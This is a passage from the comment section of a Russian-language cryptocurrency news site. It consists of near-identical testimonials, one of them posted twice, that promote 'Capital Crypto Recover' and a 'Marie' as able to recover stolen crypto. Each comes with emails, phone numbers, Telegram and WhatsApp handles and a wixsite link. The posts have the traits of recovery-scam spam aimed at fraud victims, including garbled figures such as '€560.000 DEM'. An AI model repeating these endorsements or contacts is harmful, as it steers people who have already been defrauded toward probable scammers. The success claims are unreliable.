hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon